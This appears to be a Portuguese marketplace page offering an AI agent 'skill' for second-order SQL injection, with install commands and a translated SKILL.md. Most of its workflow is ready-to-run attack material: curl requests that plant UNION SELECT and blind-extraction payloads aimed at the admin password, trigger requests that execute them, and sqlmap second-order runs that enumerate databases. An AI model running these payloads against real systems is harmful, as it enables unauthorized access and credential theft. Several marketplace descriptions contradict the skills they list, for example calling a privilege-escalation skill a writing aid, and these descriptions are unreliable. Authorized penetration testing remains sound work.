performing-second-order-sql-injection
Ensina seu agente de IA a consultar e organizar bancos de dados e proteger aplicações contra ataques.
O que ela faz
Essa ferramenta ajuda a encontrar e explorar uma falha de segurança chamada 'injeção SQL de segunda ordem'. Isso acontece quando um dado malicioso é guardado no banco de dados e, depois, usado de forma insegura em outra parte do sistema.
Quando usar
- ✓Quando testes simples de segurança não encontram falhas, mas você suspeita de algo mais complexo.
- ✓Ao testar sistemas que guardam informações enviadas por usuários, como comentários ou perfis.
- ✓Em processos que envolvem várias etapas, onde dados guardados são usados em consultas futuras.
Exemplo do que pedir para a IA
“Procure por falhas de injeção SQL de segunda ordem no sistema de comentários.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
Primeiro, identificamos onde o sistema guarda informações (como em um cadastro) e onde ele usa essas informações depois (como em um relatório). Em seguida, inserimos um código malicioso em um ponto de armazenamento e ativamos o ponto de execução para ver se o código é executado de forma insegura.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-second-order-sql-injectionOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-second-order-sql-injection/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Realizando Injeção SQL de Segunda Ordem
Quando Usar
- Quando testes de injeção SQL de primeira ordem revelam sanitização adequada de entrada no momento do armazenamento.
- Durante testes de penetração de aplicações com conteúdo gerado pelo usuário armazenado em bancos de dados.
- Ao testar fluxos de trabalho de várias etapas onde dados armazenados alimentam consultas subsequentes ao banco de dados.
- Durante a avaliação de painéis de administração que exibem ou processam dados enviados pelo usuário.
- Ao avaliar caminhos de execução de stored procedures que utilizam dados previamente armazenados.
Pré-requisitos
- Burp Suite Professional para rastreamento de requisições em fluxos de aplicação.
- SQLMap com suporte a injeção de segunda ordem (flag
--second-url). - Compreensão dos fundamentos de injeção SQL e técnicas de extração cega.
- Duas ou mais funções de aplicação (uma para armazenar dados, outra para disparar execução).
- Monitoramento de mensagens de erro do banco de dados ou conhecimento de técnicas cegas.
- Múltiplas contas de usuário para testar dados armazenados em diferentes contextos.
Fluxo de Trabalho
Passo 1 — Identificar Pontos de Armazenamento e Gatilho
# Map the application to identify:
# 1. STORAGE POINTS: Where user input is saved to database
# - User registration (username, email, address)
# - Profile update forms
# - Comment/review submission
# - File upload metadata
# - Order/booking details
# 2. TRIGGER POINTS: Where stored data is used in queries
# - Admin panels displaying user data
# - Report generation
# - Search functionality using stored preferences
# - Password reset using stored email
# - Export/download features
# Register a user with SQL injection in the username
curl -X POST http://target.com/register \
-d "username=admin'--&password=test123&email=test@test.com"
Passo 2 — Injetar Payloads via Pontos de Armazenamento
# Store SQL injection payload in username during registration
curl -X POST http://target.com/register \
-d "username=test' OR '1'='1'--&password=Test1234&email=test@test.com"
# Store injection in profile fields
curl -X POST http://target.com/api/profile \
-H "Cookie: session=AUTH_TOKEN" \
-d "display_name=test' UNION SELECT password FROM users WHERE username='admin'--"
# Store injection in address field
curl -X POST http://target.com/api/address \
-H "Cookie: session=AUTH_TOKEN" \
-d "address=123 Main St' OR 1=1--&city=Test&zip=12345"
# Store injection in comment/review
curl -X POST http://target.com/api/review \
-H "Cookie: session=AUTH_TOKEN" \
-d "product_id=1&review=Great product' UNION SELECT table_name FROM information_schema.tables--"
Passo 3 — Disparar a Execução de Payloads Armazenados
# Trigger via password change (uses stored username)
curl -X POST http://target.com/change-password \
-H "Cookie: session=AUTH_TOKEN" \
-d "old_password=Test1234&new_password=NewPass123"
# Trigger via admin user listing
curl -H "Cookie: session=ADMIN_TOKEN" http://target.com/admin/users
# Trigger via data export
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/api/export-data
# Trigger via search using stored preferences
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/api/recommendations
# Trigger via report generation
curl -H "Cookie: session=ADMIN_TOKEN" "http://target.com/admin/reports?type=user-activity"
Passo 4 — Usar SQLMap para Injeção de Segunda Ordem
# SQLMap with --second-url for second-order injection
# Store payload at registration, trigger at profile page
sqlmap -u "http://target.com/register" \
--data="username=*&password=test&email=test@test.com" \
--second-url="http://target.com/profile" \
--cookie="session=AUTH_TOKEN" \
--batch --dbs
# Use --second-req for complex trigger requests
sqlmap -u "http://target.com/api/update-profile" \
--data="display_name=*" \
--second-req=trigger_request.txt \
--cookie="session=AUTH_TOKEN" \
--batch --tables
# Content of trigger_request.txt:
# GET /admin/users HTTP/1.1
# Host: target.com
# Cookie: session=ADMIN_TOKEN
Passo 5 — Extração Cega de Segunda Ordem
# Cega baseada em booleano: Verificar se o payload armazenado causa comportamento diferente
# Armazenar: test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--
curl -X POST http://target.com/api/profile \
-H "Cookie: session=AUTH_TOKEN" \
-d "display_name=test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--"
# Disparar e observar a diferença na resposta
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/profile
# Segunda ordem cega baseada em tempo
…
Perguntas frequentes
O que é 'injeção SQL de segunda ordem'?
É quando um código malicioso é guardado no banco de dados e só é executado depois, em um momento diferente, quando o sistema usa esse dado guardado de forma insegura.
Preciso de algum programa especial para usar isso?
Sim, você precisará de ferramentas como Burp Suite e SQLMap, além de entender como funcionam os ataques de injeção SQL.
Quais são os 'pontos de armazenamento' e 'pontos de gatilho'?
Pontos de armazenamento são onde você insere os dados (ex: formulário de cadastro). Pontos de gatilho são onde esses dados são usados depois (ex: exibição de perfil).
Detalhes
Descrição original do autor
Detect and exploit second-order SQL injection vulnerabilities where malicious input is stored in a database and later executed in an unsafe SQL query during a different application operation.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #6138
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
clickhouse-io
Ajuda seu agente a otimizar consultas e esquemas no banco de dados ClickHouse. Ele aplica as melhores práticas para cargas de trabalho analíticas de alta performance. Use quando consultas analíticas demoram muito.
affaan-m/ECC
scientific-db-pubmed-database
Ajuda seu agente a buscar artigos científicos na área biomédica. É útil para pesquisas que precisam de informações médicas específicas.
affaan-m/ECC
scientific-db-uspto-database
Permite ao agente consultar dados oficiais de patentes e marcas registradas dos EUA. É útil para pesquisas de propriedade intelectual.
affaan-m/ECC